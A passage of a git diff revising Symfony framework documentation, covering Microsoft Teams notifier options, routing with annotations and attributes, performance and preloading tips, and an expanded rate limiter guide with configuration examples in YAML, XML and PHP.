+    use Symfony\Component\Notifier\Bridge\MicrosoftTeams\Section\Section;
+    use Symfony\Component\Notifier\Message\ChatMessage;
+
+    $chatMessage = new ChatMessage('');
+
+    // Action elements
+    $input = new TextInput();
+    $input->id('input_title');
+    $input->isMultiline(true)->maxLength(5)->title('In a few words, why would you like to participate?');
+
+    $inputDate = new DateInput();
+    $inputDate->title('Proposed date')->id('input_date');
+
+    // Create Microsoft Teams MessageCard
+    $microsoftTeamsOptions = (new MicrosoftTeamsOptions())
+        ->title('Symfony Online Meeting')
+        ->text('Symfony Online Meeting are the events where the best developers meet to share experiences...')
+        ->summary('Summary')
+        ->themeColor('#F4D35E')
+        ->section((new Section())
+            ->title('Talk about Symfony 5.3 - would you like to join? Please give a shout!')
+            ->fact((new Fact())
+                ->name('Presenter')
+                ->value('Fabien Potencier')
+            )
+            ->fact((new Fact())
+                ->name('Speaker')
+                ->value('Patricia Smith')
+            )
+            ->fact((new Fact())
+                ->name('Duration')
+                ->value('90 min')
+            )
+            ->fact((new Fact())
+                ->name('Date')
+                ->value('TBA')
+            )
+        )
+        ->action((new ActionCard())
+            ->name('ActionCard')
+            ->input($input)
+            ->input($inputDate)
+            ->action((new HttpPostAction())
+                ->name('Add comment')
+                ->target('http://target')
+            )
+        )
+    ;
+
+    // Add the custom options to the chat message and send the message
+    $chatMessage->options($microsoftTeamsOptions);
+    $chatter->send($chatMessage);
+
+The result will be something like:
+
+.. image:: /_images/notifier/microsoft_teams/message-card.png
+   :align: center
+
+.. versionadded:: 5.4
+
+    Options for Microsoft Teams were introduced in Symfony 5.4.
+
+.. _`Block elements`: https://api.slack.com/reference/block-kit/block-elements
 .. _`Embed elements`: https://discord.com/developers/docs/resources/webhook
+.. _`message options`: https://core.telegram.org/bots/api
+.. _`MessageCard options`: https://docs.microsoft.com/en-us/outlook/actionable-messages/message-card-reference
diff --git a/notifier/texters.rst b/notifier/texters.rst
index eb663b13726..4cf9b6f2de2 100644
--- a/notifier/texters.rst
+++ b/notifier/texters.rst
@@ -6,8 +6,7 @@ How to send SMS Messages
 
 .. versionadded:: 5.0
 
-    The Notifier component was introduced in Symfony 5.0 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The Notifier component was introduced in Symfony 5.0.
 
 The :class:`Symfony\\Component\\Notifier\\TexterInterface` class allows
 you to send SMS messages::
diff --git a/page_creation.rst b/page_creation.rst
index 0d7ff3e910b..012fc208c15 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -81,13 +81,13 @@ If you see a lucky number being printed back to you, congratulations! But before
 you run off to play the lottery, check out how this works. Remember the two steps
 to creating a page?
 
-#. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
-    page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
-    in its own section, including how to make *variable* URLs;
-
-#. *Create a controller*: This is a function where *you* build the page and ultimately
+#. *Create a controller and a method*: This is a function where *you* build the page and ultimately
    return a ``Response`` object. You'll learn more about :doc:`controllers </controller>`
-   in their own section, including how to return JSON responses.
+   in their own section, including how to return JSON responses;
+   
+#. *Create a route*: In ``config/routes.yaml``, the route defines the URL to your
+   page (``path``) and what ``controller`` to call. You'll learn more about :doc:`routing </routing>`
+   in its own section, including how to make *variable* URLs.
 
 .. _annotation-routes:
 
@@ -95,7 +95,8 @@ Annotation Routes
 -----------------
 
 Instead of defining your route in YAML, Symfony also allows you to use *annotation*
-routes. To do this, install the annotations package:
+or *attribute* routes. Attributes are built-in in PHP starting from PHP 8. In earlier
+PHP versions you can use annotations. To do this, install the annotations package:
 
 .. code-block:: terminal
 
@@ -103,26 +104,44 @@ routes. To do this, install the annotations package:
 
 You can now add your route directly *above* the controller:
 
-.. code-block:: diff
+.. configuration-block::
 
-    // src/Controller/LuckyController.php
+    .. code-block:: php-annotations
 
-    // ...
-    + use Symfony\Component\Routing\Annotation\Route;
+        // src/Controller/LuckyController.php
 
-    class LuckyController
-    {
-    +     /**
-    +      * @Route("/lucky/number")
-    +      */
-        public function number()
+        // ...
+        + use Symfony\Component\Routing\Annotation\Route;
+
+        class LuckyController
         {
-            // this looks exactly the same
+        +   /**
+        +    * @Route("/lucky/number")
+        +    */
+            public function number(): Response
+            {
+                // this looks exactly the same
+            }
+        }
+
+    .. code-block:: php-attributes
+
+        // src/Controller/LuckyController.php
+
+        // ...
+        + use Symfony\Component\Routing\Annotation\Route;
+
+        class LuckyController
+        {
+        +   #[Route('/lucky/number')]
+            public function number(): Response
+            {
+                // this looks exactly the same
+            }
         }
-    }
 
 That's it! The page - http://localhost:8000/lucky/number will work exactly
-like before! Annotations are the recommended way to configure routes.
+like before! Annotations/attributes are the recommended way to configure routes.
 
 .. _flex-quick-intro:
 
@@ -163,15 +182,15 @@ To get a list of *all* of the routes in your system, use the ``debug:router`` co
 
     $ php bin/console debug:router
 
-You should see your ``app_lucky_number`` route at the very top:
+You should see your ``app_lucky_number`` route in the list:
 
 ================== ======== ======== ====== ===============
- Name               Method   Scheme   Host   Path
+Name               Method   Scheme   Host   Path
 ================== ======== ======== ====== ===============
- app_lucky_number   ANY      ANY      ANY    /lucky/number
+app_lucky_number   ANY      ANY      ANY    /lucky/number
 ================== ======== ======== ====== ===============
 
-You will also see debugging routes below ``app_lucky_number`` -- more on
+You will also see debugging routes besides ``app_lucky_number`` -- more on
 the debugging routes in the next section.
 
 You'll learn about many more commands as you continue!
@@ -209,18 +228,18 @@ Make sure that ``LuckyController`` extends Symfony's base
 
 .. code-block:: diff
 
-    // src/Controller/LuckyController.php
+      // src/Controller/LuckyController.php
 
-    // ...
+      // ...
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
     - class LuckyController
     + class LuckyController extends AbstractController
-    {
-        // ...
-    }
+      {
+          // ...
+      }
 
-Now, use the handy ``render()`` function to render a template. Pass it a ``number``
+Now, use the handy ``render()`` method to render a template. Pass it a ``number``
 variable so you can use it in Twig::
 
     // src/Controller/LuckyController.php
diff --git a/performance.rst b/performance.rst
index 48fc4c5d942..e9d1b5558d6 100644
--- a/performance.rst
+++ b/performance.rst
@@ -43,7 +43,7 @@ features, such as the APCu Cache adapter.
 Restrict the Number of Locales Enabled in the Application
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-Use the :ref:`framework.translator.enabled_locales <reference-translator-enabled-locales>`
+Use the :ref:`framework.enabled_locales <reference-enabled-locales>`
 option to only generate the translation files actually used in your application.
 
 .. _performance-service-container-single-file:
@@ -84,7 +84,7 @@ container into a single file, which could improve performance when using
         // config/services.php
 
         // ...
-        $container->setParameter('container.dumper.inline_factories', true);
+        $container->parameters()->set('container.dumper.inline_factories', true);
 
 .. _performance-use-opcache:
 
@@ -106,18 +106,22 @@ make them available to all requests until the server is restarted, improving
 performance significantly.
 
 During container compilation (e.g. when running the ``cache:clear`` command),
-Symfony generates a file called ``preload.php`` in the ``config/`` directory
-with the list of classes to preload.
-
-The only requirement is that you need to set both ``container.dumper.inline_factories``
-and ``container.dumper.inline_class_loader`` parameters to ``true``. Then, you
-can configure PHP to use this preload file:
+Symfony generates a file with the list of classes to preload in the
+``var/cache/`` directory. Rather than use this file directly, use the
+``config/preload.php`` file that is created when
+:doc:`using Symfony Flex in your project </setup/flex>`:
 
 .. code-block:: ini
 
     ; php.ini
     opcache.preload=/path/to/project/config/preload.php
 
+    ; required for opcache.preload:
+    opcache.preload_user=www-data
+
+If this file is missing, run this command to reinstall the Symfony Flex recipe:
+``composer recipes:install symfony/framework-bundle --force -v``.
+
 Use the :ref:`container.preload <dic-tags-container-preload>` and
 :ref:`container.no_preload <dic-tags-container-nopreload>` service tags to define
 which classes should or should not be preloaded by PHP.
@@ -193,14 +197,14 @@ such as Symfony projects, should use at least these values:
 Optimize Composer Autoloader
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The class loader used while developing the application is optimized to find
-new and changed classes. In production servers, PHP files should never change,
+The class loader used while developing the application is optimized to find new
+and changed classes. In production servers, PHP files should never change,
 unless a new application version is deployed. That's why you can optimize
-Composer's autoloader to scan the entire application once and build a "class map",
-which is a big array of the locations of all the classes and it's stored
-in ``vendor/composer/autoload_classmap.php``.
+Composer's autoloader to scan the entire application once and build an
+optimized "class map", which is a big array of the locations of all the classes
+and it's stored in ``vendor/composer/autoload_classmap.php``.
 
-Execute this command to generate the class map (and make it part of your
+Execute this command to generate the new class map (and make it part of your
 deployment process too):
 
 .. code-block:: terminal
@@ -281,7 +285,7 @@ You can also profile your template code with the :ref:`stopwatch Twig tag <refer
 .. code-block:: twig
 
     {% stopwatch 'render-blog-posts' %}
-        {% for post in blog_posts%}
+        {% for post in blog_posts %}
             {# ... #}
         {% endfor %}
     {% endstopwatch %}
diff --git a/profiler.rst b/profiler.rst
index 1bc2c1a0eb5..f7468c67d0b 100644
--- a/profiler.rst
+++ b/profiler.rst
@@ -195,7 +195,7 @@ event::
 
     public function onKernelResponse(ResponseEvent $event)
     {
-        if (!$this->getKernel()->isDebug()) {
+        if (!$event->getKernel()->isDebug()) {
             return;
         }
 
diff --git a/profiler/data_collector.rst b/profiler/data_collector.rst
index 276d1e88324..ef377c47974 100644
--- a/profiler/data_collector.rst
+++ b/profiler/data_collector.rst
@@ -31,7 +31,6 @@ request::
     use Symfony\Bundle\FrameworkBundle\DataCollector\AbstractDataCollector;
     use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\HttpKernel\DataCollector\DataCollector;
 
     class RequestCollector extends AbstractDataCollector
     {
@@ -96,7 +95,7 @@ template that includes some specific blocks.
 
 First, add the ``getTemplate()`` method in your data collector class to return
 the path of the Twig template to use. Then, add some *getters* to give the
-template access to the collected information::::
+template access to the collected information::
 
     // src/DataCollector/RequestCollector.php
     namespace App\DataCollector;
diff --git a/quick_tour/flex_recipes.rst b/quick_tour/flex_recipes.rst
index 435b4f07351..1b929667b92 100644
--- a/quick_tour/flex_recipes.rst
+++ b/quick_tour/flex_recipes.rst
@@ -75,28 +75,28 @@ Thanks to Flex, after one command, you can start using Twig immediately:
 
 .. code-block:: diff
 
-    <?php
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+      <?php
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
 
-    use Symfony\Component\Routing\Annotation\Route;
+      use Symfony\Component\Routing\Annotation\Route;
     - use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
 
-    -class DefaultController
-    +class DefaultController extends AbstractController
-     {
-         /**
-          * @Route("/hello/{name}")
-          */
-         public function index($name)
-         {
+    - class DefaultController
+    + class DefaultController extends AbstractController
+      {
+           /**
+            * @Route("/hello/{name}")
+            */
+           public function index($name)
+           {
     -        return new Response("Hello $name!");
     +        return $this->render('default/index.html.twig', [
     +            'name' => $name,
     +        ]);
-         }
-    }
+           }
+      }
 
 By extending ``AbstractController``, you now have access to a number of shortcut
 methods and tools, like ``render()``. Create the new template:
diff --git a/quick_tour/the_architecture.rst b/quick_tour/the_architecture.rst
index 69883859d53..b7e9764c717 100644
--- a/quick_tour/the_architecture.rst
+++ b/quick_tour/the_architecture.rst
@@ -72,9 +72,6 @@ What other possible classes or interfaces could you use? Find out by running:
       Request stack that controls the lifecycle of requests.
       Symfony\Component\HttpFoundation\RequestStack (request_stack)
 
-      Interface for the session.
-      Symfony\Component\HttpFoundation\Session\SessionInterface (session)
-
       RouterInterface is the interface that all Router classes must implement.
       Symfony\Component\Routing\RouterInterface (router.default)
 
@@ -138,12 +135,12 @@ difference is that it's done in the constructor:
 
 .. code-block:: diff
 
-    <?php
-    // src/GreetingGenerator.php
+      <?php
+      // src/GreetingGenerator.php
     + use Psr\Log\LoggerInterface;
 
-    class GreetingGenerator
-    {
+      class GreetingGenerator
+      {
     +     private $logger;
     +
     +     public function __construct(LoggerInterface $logger)
@@ -151,15 +148,15 @@ difference is that it's done in the constructor:
     +         $this->logger = $logger;
     +     }
 
-        public function getRandomGreeting()
-        {
-            // ...
+          public function getRandomGreeting()
+          {
+              // ...
 
-     +        $this->logger->info('Using the greeting: '.$greeting);
+    +        $this->logger->info('Using the greeting: '.$greeting);
 
-             return $greeting;
-        }
-    }
+               return $greeting;
+          }
+      }
 
 Yes! This works too: no configuration, no time wasted. Keep coding!
 
@@ -279,7 +276,7 @@ from ``dev`` to ``prod``:
 
 .. code-block:: diff
 
-    # .env
+      # .env
     - APP_ENV=dev
     + APP_ENV=prod
 
@@ -321,10 +318,10 @@ Thanks to a new recipe installed by Flex, look at the ``.env`` file again:
 
 .. code-block:: diff
 
-    ###> symfony/framework-bundle ###
-    APP_ENV=dev
-    APP_SECRET=cc86c7ca937636d5ddf1b754beb22a10
-    ###< symfony/framework-bundle ###
+      ###> symfony/framework-bundle ###
+      APP_ENV=dev
+      APP_SECRET=cc86c7ca937636d5ddf1b754beb22a10
+      ###< symfony/framework-bundle ###
 
     + ###> doctrine/doctrine-bundle ###
     + # ...
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index 4fae7ef5991..b6ad8eaafdd 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -105,32 +105,32 @@ But the routing system is *much* more powerful. So let's make the route more int
 
 .. code-block:: diff
 
-    # config/routes.yaml
-    index:
+      # config/routes.yaml
+      index:
     -     path: /
     +     path: /hello/{name}
-        controller: 'App\Controller\DefaultController::index'
+          controller: 'App\Controller\DefaultController::index'
 
 The URL to this page has changed: it is *now* ``/hello/*``: the ``{name}`` acts
 like a wildcard that matches anything. And it gets better! Update the controller too:
 
 .. code-block:: diff
 
-    <?php
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+      <?php
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
 
-    use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\HttpFoundation\Response;
 
-    class DefaultController
-    {
+      class DefaultController
+      {
     -     public function index()
     +     public function index($name)
-        {
+          {
     -         return new Response('Hello!');
     +         return new Response("Hello $name!");
-        }
-    }
+          }
+      }
 
 Try the page out by going to ``http://localhost:8000/hello/Symfony``. You should
 see: Hello Symfony! The value of the ``{name}`` in the URL is available as a ``$name``
@@ -155,22 +155,22 @@ Instead, add the route *right above* the controller method:
 
 .. code-block:: diff
 
-    <?php
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+      <?php
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
 
-    use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Component\Routing\Annotation\Route;
 
-    class DefaultController
-    {
+      class DefaultController
+      {
     +    /**
     +     * @Route("/hello/{name}")
     +     */
-         public function index($name) {
-             // ...
-         }
-    }
+           public function index($name) {
+               // ...
+           }
+      }
 
 This works just like before! But by using annotations, the route and controller
 live right next to each other. Need another page? Add another route and method
diff --git a/rate_limiter.rst b/rate_limiter.rst
index 22a56168498..1d144085d92 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -3,8 +3,7 @@ Rate Limiter
 
 .. versionadded:: 5.2
 
-    The RateLimiter component was introduced in Symfony 5.2 as an
-    :doc:`experimental feature </contributing/code/experimental>`.
+    The RateLimiter component was introduced in Symfony 5.2.
 
 A "rate limiter" controls how frequently some event (e.g. an HTTP request or a
 login attempt) is allowed to happen. Rate limiting is commonly used as a
@@ -16,6 +15,16 @@ Symfony uses these rate limiters in built-in features like "login throttling",
 which limits how many failed login attempts a user can make in a given period of
 time, but you can use them for your own features too.
 
+.. caution::
+
+    By definition, the Symfony rate limiters require Symfony to be booted
+    in a PHP process. This makes them not useful to protect against `DoS attacks`_.
+    Such protections must consume the least resources possible. Consider
+    using `Apache mod_ratelimit`_, `NGINX rate limiting`_ or proxies (like
+    AWS or Cloudflare) to prevent your server from being overwhelmed.
+
+.. _rate-limiter-policies:
+
 Rate Limiting Policies
 ----------------------
 
@@ -26,22 +35,44 @@ Fixed Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 This is the simplest technique and it's based on setting a limit for a given
-interval of time. For example: 5,000 requests per hour or 3 login attempts
-every 15 minutes.
+interval of time (e.g. 5,000 requests per hour or 3 login attempts every 15
+minutes).
+
+In the diagram below, the limit is set to "5 tokens per hour". Each window
+starts at the first hit (i.e. 10:15, 11:30 and 12:30). As soon as there are
+5 hits (the blue squares) in a window, all others will be rejected (red
+squares).
+
+.. raw:: html
+
+    <object data="_images/rate_limiter/fixed_window.svg" type="image/svg+xml"></object>
 
 Its main drawback is that resource usage is not evenly distributed in time and
-it can overload the server at the window edges. In the previous example, a user
-could make the 4,999 requests in the last minute of some hour and another 5,000
-requests during the first minute of the next hour, making 9,999 requests in
-total in two minutes and possibly overloading the server. These periods of
-excessive usage are called "bursts".
+it can overload the server at the window edges. In the previous example,
+there are 6 accepted requests between 11:00 and 12:00.
+
+This is more significant with bigger limits. For instance, with 5,000 requests
+per hour, a user could make the 4,999 requests in the last minute of some
+hour and another 5,000 requests during the first minute of the next hour,
+making 9,999 requests in total in two minutes and possibly overloading the
+server. These periods of excessive usage are called "bursts".
 
 Sliding Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 The sliding window algorithm is an alternative to the fixed window algorithm
-designed to reduce bursts. To do that, the rate limit is calculated based on
-the current window and the previous window.
+designed to reduce bursts. This is the same example as above, but then
+using a 1 hour window that slides over the timeline:
+
+.. raw:: html
+
+    <object data="_images/rate_limiter/sliding_window.svg" type="image/svg+xml"></object>
+
+As you can see, this removes the edges of the window and would prevent the
+6th request at 11:45.
+
+To achieve this, the rate limit is approximated based on the current window and
+the previous window.
 
 For example: the limit is 5,000 requests per hour; a user made 4,000 requests
 the previous hour and 500 requests this hour. 15 minutes in to the current hour
@@ -64,6 +95,18 @@ continuously updating budget of resource usage. It roughly works like this:
 * If the bucket still contains tokens, the event is allowed; otherwise, it's denied;
 * If the bucket is at full capacity, new tokens are discarded.
 
+The below diagram shows a token bucket of size 4 that is filled with a rate
+of 1 token per 15 minutes:
+
+.. raw:: html
+
+    <object data="_images/rate_limiter/token_bucket.svg" type="image/svg+xml"></object>
+
+This algorithm handles more complex back-off algorithm to manage bursts.
+For instance, it can allow a user to try a password 5 times and then only
+allow 1 every 15 minutes (unless the user waits 75 minutes and they will be
+allowed 5 tries again).
+
 Installation
 ------------
 
@@ -80,20 +123,79 @@ Configuration
 The following example creates two different rate limiters for an API service, to
 enforce different levels of service (free or paid):
 
-.. code-block:: yaml
-
-    # config/packages/rate_limiter.yaml
-    framework:
-        rate_limiter:
-            anonymous_api:
-                # use 'sliding_window' if you prefer that policy
-                policy: 'fixed_window'
-                limit: 100
-                interval: '60 minutes'
-            authenticated_api:
-                policy: 'token_bucket'
-                limit: 5000
-                rate: { interval: '15 minutes', amount: 500 }
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                anonymous_api:
+                    # use 'sliding_window' if you prefer that policy
+                    policy: 'fixed_window'
+                    limit: 100
+                    interval: '60 minutes'
+                authenticated_api:
+                    policy: 'token_bucket'
+                    limit: 5000
+                    rate: { interval: '15 minutes', amount: 500 }
+
+    .. code-block:: xml
+
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- policy: use 'sliding_window' if you prefer that policy -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                    />
+
+                    <framework:limiter name="authenticated_api"
+                        policy="token_bucket"
+                        limit="5000"
+                    >
+                        <framework:rate interval="15 minutes"
+                            amount="500"
+                        />
+                    </framework:limiter>
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->rateLimiter()
+                ->limiter('anonymous_api')
+                    // use 'sliding_window' if you prefer that policy
+                    ->policy('fixed_window')
+                    ->limit(100)
+                    ->interval('60 minutes')
+                ;
+
+            $framework->rateLimiter()
+                ->limiter('authenticated_api')
+                    ->policy('token_bucket')
+                    ->limit(5000)
+                    ->rate()
+                        ->interval('15 minutes')
+                        ->amount(500)
+                ;
+        };
 
 .. note::
 
@@ -123,14 +225,15 @@ the number of requests to the API::
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpKernel\Exception\TooManyRequestsHttpException;
     use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
         // if you're using service autowiring, the variable name must be:
-        // "rate limiter name" (in camelCase) + "limiter" suffix
-        public function index(RateLimiterFactory $anonymousApiLimiter)
+        // "rate limiter name" (in camelCase) + "Limiter" suffix
+        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter)
         {
             // create a limiter based on a unique identifier of the client
             // (e.g. the client's IP address, a username/email, an API key, etc.)
@@ -228,12 +331,13 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
     namespace App\Controller;
 
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\RateLimiter\RateLimiterFactory;
 
     class ApiController extends AbstractController
     {
-        public function index(RateLimiterFactory $anonymousApiLimiter)
+        public function index(Request $request, RateLimiterFactory $anonymousApiLimiter)
         {
             $limiter = $anonymousApiLimiter->create($request->getClientIp());
             $limit = $limiter->consume();
@@ -249,34 +353,174 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
 
             // ...
 
-            $reponse = new Response('...');
+            $response = new Response('...');
             $response->headers->add($headers);
 
             return $response;
         }
     }
 
-Rate Limiter Storage and Locking
---------------------------------
+Storing Rate Limiter State
+--------------------------
+
+All rate limiter policies require to store their state(e.g. how many hits were
+already made in the current time window). By default, all limiters use the
+``cache.rate_limiter`` cache pool created with the :doc:`Cache component </cache>`.
+
+Use the ``cache_pool`` option to override the cache used by a specific limiter
+(or even :ref:`create a new cache pool <cache-create-pools>` for it):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                anonymous_api:
+                    # ...
+
+                    # use the "cache.anonymous_rate_limiter" cache pool
+                    cache_pool: 'cache.anonymous_rate_limiter'
 
-Rate limiters use the default cache and locking mechanisms defined in your
-Symfony application. If you prefer to change that, use the ``lock`` and
-``storage`` options:
+    .. code-block:: xml
 
-.. code-block:: yaml
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
-    # config/packages/rate_limiter.yaml
-    framework:
-        rate_limiter:
-            anonymous_api_limiter:
-                # ...
-                # the value is the name of any cache pool defined in your application
-                cache_pool: 'app.redis_cache'
-                # or define a service implementing StorageInterface to use a different
-                # mechanism to store the limiter information
-                storage: 'App\RateLimiter\CustomRedisStorage'
-                # the value is the name of any lock defined in your application
-                lock: 'app.rate_limiter_lock'
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- cache-pool: use the "cache.anonymous_rate_limiter" cache pool -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                        cache-pool="cache.anonymous_rate_limiter"
+                    />
+
+                    <!-- ... -->
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->rateLimiter()
+                ->limiter('anonymous_api')
+                    // ...
+
+                    // use the "cache.anonymous_rate_limiter" cache pool
+                    ->cachePool('cache.anonymous_rate_limiter')
+                ;
+        };
+
+.. note::
 
+    Instead of using the Cache component, you can also implement a custom
+    storage. Create a PHP class that implements the
+    :class:`Symfony\\Component\\RateLimiter\\Storage\\StorageInterface` and
+    use the ``storage_service`` setting of each limiter to the service ID
+    of this class.
+
+Using Locks to Prevent Race Conditions
+--------------------------------------
+
+`Race conditions`_ can happen when the same rate limiter is used by multiple
+simultaneous requests (e.g. three servers of a company hitting your API at the
+same time). Rate limiters use :doc:`locks </lock>` to protect their operations
+against these race conditions.
+
+By default, Symfony uses the global lock configured by ``framework.lock``, but
+you can use a specific :ref:`named lock <lock-named-locks>` via the
+``lock_factory`` option (or none at all):
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/rate_limiter.yaml
+        framework:
+            rate_limiter:
+                anonymous_api:
+                    # ...
+
+                    # use the "lock.rate_limiter.factory" for this limiter
+                    lock_factory: 'lock.rate_limiter.factory'
+
+                    # or don't use any lock mechanism
+                    lock_factory: null
+
+    .. code-block:: xml
+
+        <!-- config/packages/rate_limiter.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:rate-limiter>
+                    <!-- limiter-factory: use the "lock.rate_limiter.factory" for this limiter -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                        lock-factory="lock.rate_limiter.factory"
+                    />
+
+                    <!-- limiter-factory: or don't use any lock mechanism -->
+                    <framework:limiter name="anonymous_api"
+                        policy="fixed_window"
+                        limit="100"
+                        interval="60 minutes"
+                        lock-factory="null"
+                    />
+
+                    <!-- ... -->
+                </framework:rate-limiter>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/rate_limiter.php
+        use Symfony\Config\FrameworkConfig;
+
+        return static function (FrameworkConfig $framework) {
+            $framework->rateLimiter()
+                ->limiter('anonymous_api')
+                    // ...
+
+                    // use the "lock.rate_limiter.factory" for this limiter
+                    ->lockFactory('lock.rate_limiter.factory')
+
+                    // or don't use any lock mechanism
+                    ->lockFactory(null)
+                ;
+        };
+
+.. versionadded:: 5.3
+
+    The login throttling doesn't use any lock since Symfony 5.3 to avoid extra load.
+
+.. _`DoS attacks`: https://cheatsheetseries.owasp.org/cheatsheets/Denial_of_Service_Cheat_Sheet.html
+.. _`Apache mod_ratelimit`: https://httpd.apache.org/docs/current/mod/mod_ratelimit.html
+.. _`NGINX rate limiting`: https://www.nginx.com/blog/rate-limiting-nginx/
 .. _`token bucket algorithm`: https://en.wikipedia.org/wiki/Token_bucket
 .. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative
+.. _`Race conditions`: https://en.wikipedia.org/wiki/Race_condition
diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 86aed3b7ba6..e77ee6e7bd6 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -25,13 +25,6 @@ key in your application configuration.
 Configuration
 -------------
 
-.. rst-class:: list-config-options
-
-* `dump_destination`_
-* `max_items`_
-* `min_depth`_
-* `max_string_length`_
-
 max_items
 ~~~~~~~~~
 
@@ -67,9 +60,10 @@ dump_destination
 
 Configures the output destination of the dumps.
 
-By default, the dumps are shown in the toolbar. Since this is not always
-possible (e.g. when working on a JSON API), you can have an alternate output
-destination for dumps. Typically, you would set this to ``php://stderr``:
+By default, dumps are shown in the WebDebugToolbar when returning HTML.
+Since this is not always possible (e.g. when working on a JSON API),
+you can have an alternate output destination for dumps.
+Typically, you would set this to ``php://stderr``:
 
 .. configuration-block::
 
diff --git a/reference/configuration/doctrine.rst b/reference/configuration/doctrine.rst
index 281d9193203..d7ce406ab76 100644
--- a/reference/configuration/doctrine.rst
+++ b/reference/configuration/doctrine.rst
@@ -65,7 +65,7 @@ The following block shows all possible configuration keys:
                 charset:              UTF8
                 logging:              '%kernel.debug%'
                 platform_service:     App\DBAL\MyDatabasePlatformService
-                server_version:       '5.6'
+                server_version:       '5.7'
                 mapping_types:
                     enum: string
                 types:
@@ -99,7 +99,7 @@ The following block shows all possible configuration keys:
                     charset="UTF8"
                     logging="%kernel.debug%"
                     platform-service="App\DBAL\MyDatabasePlatformService"
-                    server-version="5.6">
+                    server-version="5.7">
 
                     <doctrine:option key="foo">bar</doctrine:option>
                     <doctrine:mapping-type name="enum">string</doctrine:mapping-type>
@@ -121,8 +121,8 @@ The following block shows all possible configuration keys:
 
     Always wrap the server version number with quotes to parse it as a string
     instead of a float number. Otherwise, the floating-point representation
-    issues can make your version be considered a different number (e.g. ``5.6``
